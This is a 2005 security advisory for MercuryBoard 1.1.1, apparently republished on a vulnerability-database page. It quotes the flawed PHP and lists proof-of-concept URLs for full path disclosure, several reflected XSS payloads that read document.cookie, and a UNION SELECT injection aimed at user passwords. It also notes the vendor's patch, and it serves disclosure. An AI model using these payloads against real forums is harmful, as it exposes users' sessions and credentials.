Lucene search
+L

codebug7.txt

🗓️ 25 Jan 2005 00:00:00Reported by codebug.orgType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 58 Views

Multiple vulnerabilities found in MercuryBoard 1.1.1 including full path disclosure and XSS.

Code
`*************************************************************  
* CODEBUG Labs  
* Advisory #7  
* Title: Multiple vulnerabilities in MercuryBoard 1.1.1  
* Author: Alberto Trivero  
* English Version: Alberto Trivero  
* Product: MercuryBoard 1.1.1  
* Type: Multiple Vulnerabilities  
* Web: http://www.codebug.org/  
*************************************************************  
  
  
--) Software Page (www.mercuryboard.com)  
  
"MercuryBoard is a powerful message board system dedicated to raw speed with a mixture of  
features, ease of use, and ease of customization coupled with expandability, and diverse  
language services." Note that is write in PHP OOP.  
  
  
--) Full Path Disclosure  
  
Let's look at original code from global.php line 604:  
  
<?  
...  
// some base variables  
$current = ceil($min / $num);  
$string = null;  
$pages = ceil($rows / $num);  
$end = ($pages - 1) * $num;  
...  
?>  
  
As we can see there isn't a control to $num and so if we simply assign to $num the value 0  
(or a not numerical argument), there will be an impossible division by zero that show the  
full path:  
  
http://www.sitewithmercuryboard.com/index.php?a=forum&f=2&min=0&n=0  
  
Other Full Path Disclosure:  
  
http://www.sitewithmercuryboard.com/lib/jpgraph/jpgraph_bar.php  
http://www.sitewithmercuryboard.com/lib/jpgraph/jpgraph_log.php  
http://www.sitewithmercuryboard.com/lib/jpgraph/jpgraph_polar.php  
http://www.sitewithmercuryboard.com/admincp/admin.php  
http://www.sitewithmercuryboard.com/func/[file] <--- All the PHP file in the dyrectory:  
active.php board.php constants.php cp.php  
debug.php email.php forum.php help.php login.php  
members.php mod.php pm.php post.php printer.php  
profile.php register.php search.php topic.php  
  
  
--) Cross-Site Scripting (XSS)  
  
Let's look at original code from /func/pm.php line 36:  
  
<?  
...  
if (!isset($this->get['s'])) {  
$this->get['s'] = null;  
}  
switch($this->get['s'])  
{  
case 'send':  
return $this->send();  
break;  
case 'view':  
return $this->view();  
break;  
case 'delete':  
return $this->delete_pm();  
break;  
case 'clear':  
return $this->clear();  
break;  
default:  
return $this->folder();  
break;  
}  
...  
?>  
  
As we can see there is a switch/case cycle to get 's' but in this cycle there isn't any  
check if we put other parameter with 's', like this XSS code:  
  
http://www.sitewithmercuryboard.com/index.php?a=pm&s='><script>alert(document.cookie)</script>  
  
Let's look again at original code from /func/members.php line 35:  
  
<?  
...  
if (!isset($this->get['l'])) {  
$this->get['l'] = null;  
} else {  
$this->get['l'] = strtoupper($this->get['l']);  
}  
...  
?>  
  
As we can see, also in this case, there isn't parsing methods for the processing of 'l',  
so nothing can prevent us from doing an XSS attack:  
  
http://www.sitewithmercuryboard.com/index.php?a=members&l='><script>alert(document.cookie)</script>  
  
Other Cross-Site Scripting:  
  
http://www.sitewithmercuryboard.com/index.php?a='><script>alert(document.cookie)</script>  
http://www.sitewithmercuryboard.com/index.php?a=post&s='><script>alert(document.cookie)</script>  
http://www.sitewithmercuryboard.com/index.php?a=post&s=reply&t='><script>alert(document.cookie)</script>  
http://www.sitewithmercuryboard.com/index.php?a=pm&s=send&to='><script>alert(document.cookie)</script>  
http://www.sitewithmercuryboard.com/index.php?a=pm&s=send&to=2&re='><script>alert(document.cookie)</script>  
http://www.sitewithmercuryboard.com/index.php?a=cp&s='><script>alert(document.cookie)</script>  
  
  
--) SQL Injection  
  
For the same reason because it's possible to execute the XSS codes described before, it's  
also possible to do SQL Injection attacks. But in this case it's a non-critical bug, why?  
Because we need first login as forum administrator to make successful attack. For example:  
  
http://www.sitewithmercuryboard.com/index.php?a=post&s=reply&t=0%20UNION%20SELECT%20user_id,%20user_password%20FROM%20mb_users%20/*  
  
With the URL before we get, for the just described reason, an error like this (verified  
only on MercuryBoard 1.1.0):  
  
The used SELECT statements have a different number of columns  
  
  
--) Patch  
  
After the report to developer of the board of these bugs, they released the version 1.1.2  
of MercuryBoard that correct them: http://www.mercuryboard.com/index.php?a=downloads  
  
  
*************************************************************  
http://www.codebug.org  
*************************************************************`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation